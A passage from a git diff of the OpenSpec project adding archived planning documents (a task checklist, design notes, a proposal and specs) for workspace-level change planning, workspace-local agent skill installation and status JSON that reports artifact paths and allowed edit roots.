`AGENTS.md` files +- [x] 3.5 Create or refresh `.code-workspace` at the workspace root +- [x] 3.6 Include the workspace root and every linked repo or folder with a valid local path in the `.code-workspace` +- [x] 3.7 Omit linked repos or folders with missing or invalid local paths from the `.code-workspace` +- [x] 3.8 Refresh `.gitignore` with the specific maintained `.code-workspace` entry +- [x] 3.9 Scope ignore updates to the maintained `.code-workspace` file +- [x] 3.10 Add cross-platform tests for `.code-workspace` path construction and Windows-style paths where practical + +## 4. Workspace Open Selection + +- [x] 4.1 Add `openspec workspace open [name]` +- [x] 4.2 Support `openspec workspace open --workspace ` as an alias for the positional name +- [x] 4.3 Fail clearly when positional name and `--workspace` are both provided with different values +- [x] 4.4 Open the current workspace when run from a workspace folder or subdirectory +- [x] 4.5 Auto-select the only known workspace when run outside a workspace +- [x] 4.6 Present an interactive picker when multiple workspaces are known +- [x] 4.7 Report ambiguous workspace selection in non-interactive mode and list known workspace names +- [x] 4.8 Report unresolved workspace selection clearly and suggest `openspec workspace setup` +- [x] 4.9 Handle unsupported `--prepare-only`, `--json`, and `--change` flags with clear errors +- [x] 4.10 Add command integration tests for selection, conflict, unsupported flags, and no-workspace cases + +## 5. Opener Resolution + +- [x] 5.1 Resolve command-line opener overrides before workspace-local preferences +- [x] 5.2 Implement `workspace open --agent codex` +- [x] 5.3 Implement `workspace open --agent claude` +- [x] 5.4 Implement `workspace open --agent github-copilot` +- [x] 5.5 Implement `workspace open --editor` +- [x] 5.6 Keep the stored preferred opener unchanged for `--agent` and `--editor` overrides +- [x] 5.7 Prompt interactively to choose an opener when the opener preference is unset +- [x] 5.8 Report unset opener preference in non-interactive mode with override guidance +- [x] 5.9 Add tests for opener precedence, prompting, non-interactive failure, and unchanged preference behavior + +## 6. Opener Launchers + +- [x] 6.1 Launch VS Code editor by opening the maintained `.code-workspace` file with `code` +- [x] 6.2 Launch GitHub Copilot by opening the maintained `.code-workspace` file with VS Code +- [x] 6.3 Launch Codex from the workspace root with valid linked paths attached +- [x] 6.4 Launch Claude from the workspace root with valid linked paths attached +- [x] 6.5 Use a minimal launch prompt when an agent CLI requires an initial prompt argument +- [x] 6.6 Report skipped broken links with `openspec workspace doctor` as the repair path +- [x] 6.7 Fail clearly when the selected opener executable is unavailable +- [x] 6.8 Include the `.code-workspace` path in VS Code opener availability errors +- [x] 6.9 Keep the selected opener as required when launching +- [x] 6.10 Add unit tests for launcher command construction using test doubles for external tools + +## 7. Documentation And Command Metadata + +- [x] 7.1 Update workspace command help for setup `--opener`, open positional name, `--workspace`, `--agent`, and `--editor` +- [x] 7.2 Update command registry and shell completion metadata for the new workspace open surface +- [x] 7.3 Update workspace documentation to describe preferred openers, editor open, agent open, and `.code-workspace` behavior +- [x] 7.4 Document that `.code-workspace` is machine-local and ignored by default +- [x] 7.5 Document that root workspace open supports exploration and planning, with implementation started by explicit user request + +## 8. Verification + +- [x] 8.1 Run `node bin/openspec.js validate workspace-open-agent-context --strict` +- [x] 8.2 Run targeted workspace command tests +- [x] 8.3 Run targeted workspace foundation tests +- [x] 8.4 Run command-generation or launcher tests that cover Codex, Claude, GitHub Copilot, and VS Code editor paths +- [x] 8.5 Run cross-platform path-focused tests for workspace open surfaces +- [x] 8.6 Run the relevant TypeScript test suite +- [x] 8.7 Run `pnpm run build` diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/design.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/design.md new file mode 100644 index 0000000000..7a297ed0d0 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/design.md @@ -0,0 +1,242 @@ +## Context + +Workspace setup already creates a planning home, records linked repos or folders, stores a preferred opener, and maintains the root open surface. For workspace change planning to work in practice, the opened agent also needs OpenSpec workflow skills available from that workspace root. + +Repo-local `openspec init` and `openspec update` already provide the user model for choosing agent surfaces and generating skills. Workspace setup should feel similar, but the installation target is the workspace root rather than any linked repo or folder. + +The existing artifact workflow assumes a change lives under a repo-local `openspec/changes/` path. Workspace planning needs the same workflow vocabulary, but the planning home may be a workspace root and the implementation homes may be linked repos or folders. + +## Goals / Non-Goals + +**Goals:** +- Install OpenSpec agent skills into the workspace root during workspace setup. +- Use the active global profile to select which workflow skills are installed in the workspace. +- Let users choose which agents receive skills with familiar `--tools` semantics. +- Persist workspace-local agent skill selection so update can refresh the same agents later. +- Let users refresh, add, or remove workspace-local skills later through `workspace update`. +- Detect and report workspace-local skill drift from the active global profile. +- Let `openspec config profile` offer to apply changed profile settings to the current workspace when run from inside a workspace. +- Redirect workspace users from repo-local `openspec update` to `openspec workspace update`. +- Add a built-in workspace planning schema for workspace-scoped changes. +- Create workspace changes under the workspace planning path. +- Represent affected areas without forcing implementation artifacts into linked repos. +- Give agents machine-readable planning context through status/instructions output. +- Preserve the workspace boundary: linked repos and folders remain untouched during setup/update. + +**Non-Goals:** +- Generating slash commands as part of workspace setup. +- Honoring global `delivery: commands` by generating workspace command files. +- Installing skills into linked repos or folders. +- Adding workspace-local workflow profiles separate from global config. +- Solving workspace-scoped artifact path discovery in the first setup-skill step. +- Adding a separate artifact-context CLI command in the first version. +- Implementing workspace apply, verify, or archive semantics end to end. +- Changing repo-local `openspec init` or `openspec update` behavior. + +## Decisions + +### Use agent-skill language in workspace UX + +Workspace setup should ask, "Which agents should get OpenSpec skills in this workspace?" rather than using the broader "AI tools" wording. The user-visible action is installing skills for coding agents, and the target is the workspace planning home. + +Alternative considered: reuse the exact `init` wording. That would be familiar, but it hides the important distinction between opening a workspace and installing skills into it. + +### Reuse the existing tool id model + +The CLI should use the existing `--tools all|none|` grammar for non-interactive setup and update. Reusing the existing tool IDs avoids inventing a second naming system for the same configured agents. + +Alternative considered: add `--agents`. That reads better in isolation, but it creates unnecessary parallel vocabulary next to `openspec init --tools`. + +### Let profile choose workflows and tools choose agents + +Workspace setup/update should use the active global profile to decide which OpenSpec workflow skills are installed. The profile answers "which actions are available?" while `--tools` answers "which agents get those actions?" Keeping those concerns separate preserves the existing profile model and avoids adding workspace-local workflow selection in this slice. + +If global profile is `core`, workspace skills should include the core workflow set. If global profile is `custom`, workspace skills should include only the configured custom workflows. `--tools none` should still mean no agent skills are installed, regardless of profile. + +Alternative considered: add a workspace-local profile file. That might be useful later for team-shared workspace defaults, but this slice already stores machine-local agent paths and should avoid introducing another config authority before the global profile behavior works. + +### Preselect the preferred opener when possible + +Interactive setup should preselect the preferred opener when that opener maps to a skill-capable agent. The user can accept the default, add more agents, or deselect it. + +Alternative considered: install skills only for the preferred opener. That is simpler, but opener choice means "how should I open this workspace" while skill selection means "which agents should understand OpenSpec here." + +### Persist selected workspace skill agents locally + +Workspace setup should store the selected skill-capable agents in `.openspec-workspace/local.yaml` because agent paths and installed tool surfaces are machine-local. Workspace update should use that stored selection when the user does not pass `--tools` or make a new interactive selection. + +Explicit `--tools` on workspace setup/update should replace the stored selection. `--tools none` should store an empty selection and remove only known OpenSpec-managed workspace skill directories. + +The local state should also record enough last-applied information to support drift detection, such as the workflow IDs installed for each selected agent and the effective global profile/delivery at the time of the last successful sync. This is diagnostic state, not a second source of truth. + +Alternative considered: infer selected agents by scanning `.codex/skills/`, `.claude/skills/`, and similar directories. Scanning is useful as a fallback, but persisted selection gives predictable update behavior and avoids treating unrelated user-authored files as OpenSpec-managed state. + +### Keep non-interactive setup backward-compatible + +`openspec workspace setup --no-interactive` should not require `--tools`. If `--tools` is omitted, setup should create the workspace and skip skill installation, preserving existing scripted workspace setup behavior. Human and JSON output should say that no workspace skills were installed and that `openspec workspace update --tools ` can add them later. + +`openspec workspace update --no-interactive` without `--tools` should refresh the stored workspace skill agent selection. If no selection is stored, it should complete without installing skills and report a clear no-op with guidance to pass `--tools`. + +Alternative considered: require `--tools` whenever workspace setup/update is non-interactive. That mirrors repo-local init, but it would break existing workspace setup scripts that predate workspace-local skill installation. + +### Generate workspace-local skills only + +Workspace setup/update should generate skills under the workspace root, such as `.codex/skills/` or `.claude/skills/`. It should not generate slash commands in this slice because some command adapters resolve to global locations, and workspace setup should remain local and predictable. + +When global delivery is `commands` or `both`, workspace setup/update should still generate only skills and report that workspace command generation is not part of this slice. This keeps profile workflow selection useful without making workspace setup perform global or repo-local command writes. + +Alternative considered: mirror `init` exactly and generate both skills and commands. That risks surprising global writes and makes the setup boundary harder to explain. + +### Add `workspace update` for skill refresh + +`openspec workspace update` should refresh, add, or remove workspace-local OpenSpec skills after setup. It should resolve the current workspace when run from inside a workspace, and also support named and non-interactive forms. + +Workspace update should compare the active global profile's workflow selection with the last applied workspace skill state. If they differ, update should add/remove only OpenSpec-managed workflow skill directories for the selected agents. Workspace doctor/list/status surfaces may report the drift as a warning, and `openspec config profile` no-op inside a workspace should use the same drift check for guidance. + +Alternative considered: reuse `openspec update` from inside the workspace. That command currently means repo/project update, while workspace update needs workspace selection, workspace JSON/status behavior, and linked-repo safety rules. + +### Make `config profile` workspace-aware + +`openspec config profile` should remain a global configuration command. When it runs inside a repo-local OpenSpec project and the user chooses to apply changes, it should continue to run `openspec update`. + +When it runs inside an OpenSpec workspace and the profile or delivery settings actually change, it should prompt to apply changes to the current workspace. If confirmed, it should run `openspec workspace update` for that workspace. If declined, it should explain that the global config changed and the user can run `openspec workspace update` later. + +The preset shortcut `openspec config profile core` should keep its non-interactive character and not launch an apply prompt. When run from inside a workspace, it should save global config and print workspace-specific follow-up guidance to run `openspec workspace update`. When run inside a repo-local project, it should keep the existing repo-local guidance. + +For this slice, automatic workspace context should come from the workspace planning home and its own subdirectories. Running a command from inside a linked repo or folder should keep that location's repo-local behavior unless the user explicitly selects the workspace with a workspace command option. This avoids surprising repo-local commands merely because the repo is registered as a workspace link. + +If a directory is both inside a workspace planning home and inside a repo-local OpenSpec project, the nearest planning home should determine the apply prompt. This avoids applying a workspace profile change to a linked repo when the user is intentionally operating from the workspace planning home. + +Alternative considered: make `openspec config profile` update all known workspaces. That would be convenient in small setups, but global config changes should not fan out into multiple planning homes without an explicit per-workspace action. + +### Resolve a planning home before acting + +Workflow commands should resolve whether the current change belongs to a repo-local planning home or a workspace planning home before computing paths. The resolver should identify the planning root, change root, linked areas when present, and whether implementation edits are allowed. Linked repos are not implicitly treated as workspace planning homes just because they are registered in a workspace; workspace-scoped behavior is selected from the workspace planning home or through explicit workspace selection. + +Alternative considered: add workspace-specific command branches wherever paths are used. That would make the workspace model leak into every workflow and make generated skills more fragile. + +### Store workspace changes in the workspace planning path + +Workspace changes should live under the workspace planning path, initially `changes/` at the workspace root. Creating the workspace change should capture shared intent once and may record affected areas, but it should not create repo-local `openspec/changes/` directories in linked repos. + +Alternative considered: materialize a repo-local change in every affected repo during workspace change creation. That was easy to reason about in the POC, but it commits too early and makes exploration look like implementation. + +### Add a workspace planning schema + +Workspace-scoped changes should use a built-in `workspace-planning` schema by default. This keeps the workflow verbs familiar while letting workspace changes have a structure that fits cross-area planning. + +Initial artifact shape: + +```text +changes// + .openspec.yaml # schema: workspace-planning + proposal.md # shared goal and scope + design.md # cross-area decisions + tasks.md # coordination tasks, optionally grouped by affected area + specs/ + / + /spec.md +``` + +The first schema should stay intentionally close to the normal OpenSpec artifact shape: proposal, specs, design, and tasks. Area-specific requirements live under `specs/` and area-specific work can be represented as sections in `tasks.md`. This slice does not introduce another area manifest beside those normal planning artifacts. + +Alternative considered: reuse `spec-driven` unchanged and make all workspace differences implicit in status output. That hides the fact that workspace planning needs different instructions for organizing requirements and tasks by affected area. + +Alternative considered: create separate workspace workflow skills instead of a schema. That would duplicate workflow guidance and make workspace mode feel like a different product. + +### Support nested workspace spec paths in the schema + +The `workspace-planning` schema should define its specs artifact so nested workspace paths are first-class, not accidental. The intended output pattern is `specs/**/*.md`, and the schema instructions should explicitly describe `specs///spec.md` as the default convention for area-specific requirements. + +Status and instructions output should preserve the concrete nested paths it discovers. Repo-local spec sync, archive, and validation paths that assume `specs//spec.md` should not treat workspace-scoped specs as repo-local capability specs until a later explicit implementation, sync, or archive workflow selects an affected area and defines the destination. + +### Use affected areas, not targets or repo slices + +The planning model should call ownership or implementation boundaries "affected areas." Affected areas can start with registered workspace link names, but the language should leave room for folders, packages, services, apps, or docs sites. Delivery breakdown remains a separate concept and should not be called an area. + +Alternative considered: keep "targets" because it maps to the old POC flag. That term is implementation-first and encourages users to choose repos before the plan is clear. + +### Make status JSON the agent context contract + +`openspec status --change --json` should become the primary source of machine-readable action context. It should include the planning home, change root, concrete artifact paths, affected areas, next steps, and constraints such as allowed edit roots when implementation is later in scope. + +Alternative considered: create a separate context command immediately. Status is already used by generated workflow skills, so enriching it first gives agents a single place to look. + +### Keep generated skills path-agnostic + +Generated workflow skills should ask OpenSpec where artifacts live instead of embedding repo-local paths such as `openspec/changes/`. The standard skill pattern should be: + +```text +1. Run `openspec status --change "" --json`. +2. Use the returned planning home, artifacts, next steps, and action context. +3. Run `openspec instructions --change "" --json` before writing an artifact. +4. Write to the resolved path returned by the CLI. +``` + +This keeps the same skill usable in repo-local and workspace-scoped changes. If status/instructions output later becomes too crowded, a separate context command can be introduced in a future change without changing the high-level skill rule. + +Alternative considered: add a new `openspec context` command now. That may become useful, but it adds a new surface before we have proven that enriched status/instructions are insufficient. + +### Guard unsupported workspace workflow actions + +The global profile may select workflows whose workspace-scoped behavior is not implemented in this slice, such as full workspace apply, verify, or archive. Generated workspace-local skills for those workflows should be safe: they should inspect status/instructions, explain the unsupported workspace action, and avoid editing linked repos unless a later explicit implementation workflow supplies an allowed edit root. + +This keeps the workspace skill set aligned with the user's profile while preventing repo-local fallbacks from pretending to implement workspace semantics. + +Alternative considered: filter unsupported workflows out of workspace skill generation. That would avoid unsupported commands, but it would make the workspace skill set silently diverge from the user's profile and make drift harder to explain. + +### Redirect repo update from workspace roots + +`openspec update` should remain the repo/project update command. When it is run from an OpenSpec workspace planning home, it should not try to treat the workspace as a repo-local project. It should fail or redirect with clear guidance to run `openspec workspace update`. + +Alternative considered: make `openspec update` polymorphic and perform workspace update inside workspaces. That would be convenient, but it blurs the repo/project versus workspace boundary this change is trying to make explicit. + +### Update docs, help, and completions + +The CLI help, command registry/completions, and user docs should include `openspec workspace update`, its `--tools` behavior, the global-profile relationship, and the skills-only workspace delivery rule. + +Alternative considered: document this only after implementation. Because profile/update behavior is easy to confuse with repo-local update, the docs and help updates are part of the user-facing feature. + +### Treat manual acceptance and UX review as phase gates + +Each phase should produce a user-testable increment, even when most of the work is internal. The phase is not done until a user can exercise the named behavior through the CLI, inspect the resulting output or files, and understand what changed. + +Each implementation phase should include a manual acceptance pass in addition to automated tests. The manual pass should exercise the real CLI flow, inspect the generated files or output, and confirm linked repos or folders stay untouched where that is part of the contract. + +Each phase should also include a lightweight UX review of prompts, command forms, human output, JSON output, artifact paths, and next-step guidance. Any confusing UX found during review should be fixed in the same phase or recorded as an intentional follow-up before the phase is considered done. + +Alternative considered: keep manual review only in the final verification phase. That would catch end-to-end issues late, but workspace planning is mostly workflow and agent-facing UX, so each phase needs its own human check while the behavior is still fresh. + +### Reduce self-validation bias with evidence-based review + +Implementation should define acceptance evidence before marking tasks done. For each phase, the implementer should capture the exact manual commands or interaction path, expected observations, and actual observations. A task is not complete merely because the implementer believes the code matches the design. + +When practical, a separate reviewer or fresh agent context should run the manual acceptance checklist and UX review using only the change artifacts, CLI output, and observed filesystem state. If a separate reviewer is not available, the implementer should rerun the checklist from a clean temporary workspace and record the evidence in the change notes or final implementation summary. + +Alternative considered: rely on automated tests plus the implementer's final review. Automated tests are necessary, but this change is workflow-heavy and agent-facing, so independent evidence is more useful than confidence alone. + +## Deferred Direction + +The earlier product notes pointed at a richer workspace model than this slice ships. Keep that direction as follow-up material, not competing current scope. + +- Full workspace apply should select or confirm one work focus before implementation. The first work focus should be an affected area with an allowed edit root; later work may add an optional delivery phase when a large change needs sequencing. Until that model exists, workspace apply/verify/archive skills remain guarded. +- Workspace verify and archive should wait for a clear model of partial area completion, final whole-change completion, and how workspace-scoped specs become repo-local canonical specs. +- Scoped plan files may eventually attach at the change, phase, affected-area, or work-focus level. This slice intentionally keeps the first workspace schema close to normal OpenSpec artifacts: proposal, specs, design, and tasks. +- Affected areas can start as registered workspace link names, but future flows may refine or derive them from planning artifacts. That derivation should avoid reintroducing target-first or repo-slice language. +- Workflow skills may later separate generic OpenSpec workflow semantics from agent-specific affordances such as asking questions, tracking todos, or delegating work. This slice only makes generated workflow skills path-agnostic. +- OpenSpec may need a named exploratory-notes convention for preserving unsettled thinking before it is promoted into proposal, design, specs, or tasks. This cleanup keeps the current change folder focused on standard artifacts. + +## Risks / Trade-offs + +- Skill generation logic may drift from `init/update` → share the same template generation and tool validation helpers where practical. +- Removing unselected skills could remove user-modified files → remove only known OpenSpec-managed workflow skill directories by explicit workflow list. +- `--tools` is less precise than `--agents` in workspace UX → keep `--tools` for CLI consistency, but use "agents" in prompts and human output. +- Global delivery can say `commands` while workspace update remains skills-only → report this explicitly so users know command generation is deferred, not silently broken. +- `config profile` may run from a linked repo inside an opened workspace → resolve the current planning home carefully and apply only to that home. +- Stored workspace skill state can become stale or hand-edited → treat it as diagnostic machine-local state and always reconcile managed files from the active global profile during update. +- Profile-selected workflows may not yet have full workspace semantics → generated skills must guard unsupported actions and avoid repo-local fallbacks. +- Existing generated skills still contain repo-local path assumptions → handle that as a later artifact-context step after workspace-local skills can be installed. +- Status JSON may become too broad → keep fields plain and action-oriented, such as `planningHome`, `artifacts`, `affectedAreas`, `nextSteps`, and `actionContext`. +- Affected area discovery may be ambiguous → start with explicit registered workspace links and allow later refinement instead of parsing free-form Markdown headings as the only source of truth. +- A new schema can drift from repo-local workflow expectations → keep artifact IDs plain and make status/instructions carry the schema-specific paths. +- Skill instructions may lag behind CLI behavior → audit source workflow templates for hardcoded repo-local paths and replace them with the path-agnostic status/instructions pattern. diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/proposal.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/proposal.md new file mode 100644 index 0000000000..6f6442d84a --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/proposal.md @@ -0,0 +1,78 @@ +## Why + +Once repos are visible and the agent has workspace context, the user should be able to plan a cross-repo change without creating repo-local artifacts before implementation starts. + +The user goal is: + +```text +Explore the product goal across repos. +Decide the scope. +Create one workspace-level proposal that identifies the affected areas. +``` + +Planning should be the commitment point. Repo visibility alone should remain lightweight. + +## What Changes + +Add workspace-level change planning: + +- install and refresh OpenSpec agent skills from the workspace root so agents can operate from the planning home +- use the active global workflow profile to decide which workflow skills are installed in the workspace +- keep `--tools` focused on which agents receive those workspace-local skills +- add a workspace-specific planning schema for workspace changes +- create a workspace change from the coordination root +- capture the product goal once +- identify affected areas by registered workspace link name where applicable +- let the agent explore before committing to affected areas or delivery slices +- keep the workspace as the planning source of truth +- update workflow skill instructions to use CLI-reported artifact paths instead of hardcoded repo-local paths + +This slice should avoid creating repo-local artifacts as a side effect of planning. Repo-local artifacts should not be created merely because a workspace change exists. + +Workspace setup and update may write agent skill files into the workspace root, such as `.codex/skills/` or `.claude/skills/`, because those files make the workspace planning home usable by agents. That setup work must not write OpenSpec artifacts or agent skill files into linked repos or folders. + +Interactive setup should ask which agents should get OpenSpec skills in the workspace, preselecting the preferred opener when that opener supports skills. Workspace update should let users refresh or change those installed agent skills later, including when run from inside the workspace. + +Workspace setup and update should treat the global profile as the workflow selection source. For this slice, workspace setup and update are skills-only even when global delivery is `commands` or `both`; command generation for workspaces is deferred. + +`openspec config profile` should remain global, but when it runs from inside an OpenSpec workspace and changes the global profile or delivery settings, it should offer to apply the new workflow selection to the current workspace by running `openspec workspace update`. + +Workspace-local skill selection should be machine-local state: setup records which agents received skills, update refreshes that stored selection by default, and explicit `--tools` changes the stored selection. OpenSpec should detect when workspace-local skills drift from the current global profile and give clear update guidance. + +Selected profile workflows that are not yet fully implemented for workspace-scoped changes should still be safe. Generated skills and CLI guidance must guard unsupported workspace actions instead of falling back to repo-local behavior or editing linked repos implicitly. + +Workspace help, docs, and completions should make the distinction legible: `openspec update` remains repo/project sync, while `openspec workspace update` syncs workspace-local agent skills. + +Planning dependency: + +- Depends on `workspace-open-agent-context`. + +## Capabilities + +### New Capabilities + +- `workspace-change-planning`: Creates and manages workspace-level proposals for cross-repo goals. + +### Modified Capabilities + +- `workspace-links`: Adds workspace setup/update behavior for workspace-local agent skill installation. +- `cli-config`: Makes `openspec config profile` aware of workspace roots and able to apply global profile changes to the current workspace. +- `change-creation`: Adds workspace-aware change creation semantics and affected area identification. +- `cli-artifact-workflow`: Enriches workflow status and instructions so agents can discover planning context and artifact paths without hardcoded repo-local assumptions. +- `artifact-graph`: Adds a built-in workspace planning schema for workspace-scoped changes. +- `schema-resolution`: Ensures workspace-scoped change creation and workflow commands can resolve the workspace planning schema. +- `openspec-conventions`: Defines the relationship between workspace-level planning and repo-local implementation work. + +## Impact + +- Workspace change creation. +- Workspace-specific planning schema and templates. +- Affected area metadata and validation. +- Workspace setup and update behavior for installing or refreshing agent skills in the workspace root. +- Global profile integration for workspace-local skill workflow selection. +- Workspace-aware `openspec config profile` apply prompt behavior. +- Workspace-local agent skill selection state and drift detection. +- Guarded workflow guidance for profile workflows whose workspace behavior is not implemented in this slice. +- Docs, help, and completions for workspace skill update behavior. +- Agent instructions for proposing cross-repo changes without hardcoded change paths. +- Tests that registered repos are visible before change creation and that creating a change does not imply repo-local artifact creation. diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/artifact-graph/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/artifact-graph/spec.md new file mode 100644 index 0000000000..84b44f39d1 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/artifact-graph/spec.md @@ -0,0 +1,36 @@ +## ADDED Requirements + +### Requirement: Workspace planning schema +The artifact graph SHALL provide a built-in workspace planning schema for workspace-scoped changes. + +#### Scenario: Built-in workspace planning schema is available +- **WHEN** schemas are resolved from package built-ins +- **THEN** a schema named `workspace-planning` SHALL be available +- **AND** it SHALL describe the artifact structure for workspace-scoped planning + +#### Scenario: Workspace planning schema artifacts +- **WHEN** the `workspace-planning` schema is loaded +- **THEN** it SHALL include the normal planning artifacts for a shared proposal, workspace-scoped specs, cross-area design, and coordination tasks +- **AND** it SHALL not require an additional area manifest outside those normal planning artifacts + +#### Scenario: Workspace planning schema supports nested specs +- **WHEN** the `workspace-planning` schema defines its specs artifact +- **THEN** the specs artifact SHALL resolve workspace-scoped spec files under `specs/**/*.md` +- **AND** schema guidance SHALL describe `specs///spec.md` as the default convention for area-specific requirements + +#### Scenario: Workspace planning schema templates +- **WHEN** artifact instructions are requested for the `workspace-planning` schema +- **THEN** the schema SHALL provide templates that guide agents to write workspace-level planning content +- **AND** those templates SHALL avoid instructing agents to create repo-local implementation artifacts +- **AND** specs instructions SHALL support organizing area-specific requirements under workspace-scoped `specs/` paths + +#### Scenario: Workspace nested spec paths stay workspace-scoped +- **GIVEN** a workspace change has spec files under `specs///spec.md` +- **WHEN** OpenSpec reports status or artifact instructions for the workspace change +- **THEN** it SHALL preserve the concrete nested workspace spec paths +- **AND** it SHALL not treat those files as repo-local specs to sync or archive without an explicit affected-area implementation context + +#### Scenario: Workspace planning apply readiness +- **WHEN** the `workspace-planning` schema defines apply readiness +- **THEN** it SHALL require coordination tasks before implementation begins +- **AND** the apply guidance SHALL direct agents to select an affected area before making implementation edits diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/change-creation/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/change-creation/spec.md new file mode 100644 index 0000000000..b0191e073a --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/change-creation/spec.md @@ -0,0 +1,42 @@ +## ADDED Requirements + +### Requirement: Workspace-aware change creation +Change creation SHALL support both repo-local and workspace planning homes. + +#### Scenario: Creating a change from a workspace root +- **GIVEN** the command runs from an OpenSpec workspace root +- **WHEN** the user creates a new change +- **THEN** OpenSpec SHALL create the change under the workspace planning path +- **AND** it SHALL not create the change under a linked repo's `openspec/changes/` directory +- **AND** it SHALL use the `workspace-planning` schema when no explicit schema is provided + +#### Scenario: Creating a change from inside a workspace +- **GIVEN** the command runs from a subdirectory of an OpenSpec workspace planning home +- **WHEN** the user creates a new change +- **THEN** OpenSpec SHALL resolve the current workspace as the planning home +- **AND** it SHALL create the change under that workspace's planning path +- **AND** it SHALL use the `workspace-planning` schema when no explicit schema is provided + +#### Scenario: Creating a change from inside a linked repo +- **GIVEN** a repo or folder is registered as a workspace link +- **AND** the command runs from inside that linked repo or folder rather than from the workspace planning home +- **WHEN** the user creates a new change without explicitly selecting a workspace +- **THEN** OpenSpec SHALL preserve repo-local change creation behavior for that location +- **AND** it SHALL not create a workspace-scoped change merely because the location is registered as a workspace link + +#### Scenario: Preserving repo-local change creation +- **GIVEN** the command runs outside an OpenSpec workspace +- **WHEN** the user creates a new change in a repo-local OpenSpec project +- **THEN** OpenSpec SHALL continue to create the change under `openspec/changes/` + +#### Scenario: Rejecting invalid workspace affected areas +- **GIVEN** a workspace change creation request includes affected area names +- **WHEN** one or more names are not registered workspace links +- **THEN** OpenSpec SHALL reject those invalid affected areas +- **AND** it SHALL list the valid workspace link names + +#### Scenario: Creating without affected areas +- **GIVEN** the user is still exploring scope +- **WHEN** the user creates a workspace change without affected areas +- **THEN** OpenSpec SHALL create the workspace change +- **AND** it SHALL allow affected areas to be identified later diff --git a/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-artifact-workflow/spec.md b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-artifact-workflow/spec.md new file mode 100644 index 0000000000..5a1c912329 --- /dev/null +++ b/openspec/changes/archive/2026-05-14-workspace-change-planning/specs/cli-artifact-workflow/spec.md @@ -0,0 +1,100 @@ +## ADDED Requirements + +### Requirement: Status JSON provides planning context +The status command SHALL provide machine-readable planning context for repo-local and workspace changes. + +#### Scenario: Reporting planning home +- **WHEN** a user runs `openspec status --change --json` +- **THEN** the output SHALL identify whether the change is repo-local or workspace-scoped +- **AND** it SHALL include the planning home root and change root + +#### Scenario: Reporting concrete artifact paths +- **WHEN** a user runs `openspec status --change --json` +- **THEN** the output SHALL include concrete paths for existing artifacts +- **AND** agents SHALL be able to read those paths without assuming `openspec/changes//` +- **AND** workspace-scoped nested spec paths SHALL be reported without flattening the area or capability path + +#### Scenario: Reporting workspace affected areas +- **GIVEN** the change is workspace-scoped +- **WHEN** a user runs `openspec status --change --json` +- **THEN** the output SHALL include known affected areas +- **AND** it SHALL indicate when affected areas remain unresolved without requiring an additional area manifest artifact + +#### Scenario: Reporting next steps +- **WHEN** a user runs `openspec status --change --json` +- **THEN** the output SHALL include next step guidance for agents +- **AND** the guidance SHALL use plain action language + +### Requirement: Status JSON action context +The status command SHALL expose action context that lets agents act without hardcoded filesystem assumptions. + +#### Scenario: Planning action context +- **WHEN** a workspace change is still in planning +- **THEN** status JSON SHALL identify the planning artifacts agents may read or update +- **AND** it SHALL indicate that linked repos and folders are context for exploration + +#### Scenario: Implementation action context +- **WHEN** a workspace change has a selected affected area for implementation +- **THEN** status JSON SHALL include the allowed edit root for that area +- **AND** it SHALL avoid authorizing edits outside that selected area + +#### Scenario: Repo-local action context +- **GIVEN** the change is repo-local +- **WHEN** a user runs `openspec status --change --json` +- **THEN** status JSON SHALL preserve existing artifact status behavior +- **AND** it SHALL report a repo-local planning home for agents that use action context + +### Requirement: Instructions use resolved planning paths +Artifact and apply instructions SHALL use resolved planning paths rather than hardcoded repo-local change paths. + +#### Scenario: Workspace artifact instructions +- **GIVEN** the change is workspace-scoped +- **WHEN** a user runs `openspec instructions --change --json` +- **THEN** instruction output SHALL point to the artifact path under the workspace change root +- **AND** it SHALL not instruct the agent to write under a linked repo unless an explicit implementation context allows it + +#### Scenario: Repo-local artifact instructions +- **GIVEN** the change is repo-local +- **WHEN** a user runs `openspec instructions --change --json` +- **THEN** instruction output SHALL preserve existing repo-local paths + +### Requirement: Workflow skills use CLI artifact context +Generated workflow skills SHALL use OpenSpec CLI output as the source of truth for artifact locations. + +#### Scenario: Skills inspect status before artifact work +- **WHEN** a generated workflow skill needs to inspect or create artifacts for a change +- **THEN** it SHALL instruct the agent to run `openspec status --change --json` +- **AND** it SHALL use returned planning context and artifact paths rather than assuming a repo-local change path + +#### Scenario: Skills use instructions before writing artifacts +- **WHEN** a generated workflow skill is about to create or update an artifact +- **THEN** it SHALL instruct the agent to run `openspec instructions --change --json` +- **AND** it SHALL write to the resolved artifact path returned by the command + +#### Scenario: Skills avoid hardcoded repo-local paths +- **WHEN** generated workflow skills describe artifact locations +- **THEN** they SHALL avoid hardcoded examples that require changes to live under `openspec/changes//` +- **AND** any examples SHALL defer to CLI-reported paths for repo-local and workspace-scoped changes + +#### Scenario: Skills guard unsupported workspace workflows +- **GIVEN** a generated workflow skill is selected by the global profile +- **AND** the workflow does not yet have full workspace-scoped behavior in this slice +- **WHEN** the skill is used for a workspace-scoped change +- **THEN** it SHALL tell the agent that the workspace action is not supported yet +- **AND** it SHALL not instruct the agent to fall back to repo-local paths or edit linked repos without an explicit allowed edit root + +### Requirement: Workspace schema instructions +Workflow commands SHALL use the workspace planning schema instructions for workspace-scoped changes that use that schema. + +#### Scenario: Workspace planning artifact order +- **GIVEN** a workspace-scoped change uses schema `workspace-planning` +- **WHEN** a user runs `openspec status --change --json` +- **THEN** the artifact list SHALL reflect the workspace planning schema +- **AND** it SHALL include the normal proposal, specs, design, and tasks artifacts + +#### Scenario: Workspace specs instructions +- **GIVEN** a workspace-scoped change uses schema `workspace-planning` +- **WHEN** a user requests instructions for the specs artifact +- **THEN** instruction output SHALL guide the agent to organize area-specific requirements under workspace-scoped `specs/` paths +- **AND** it SHALL not require 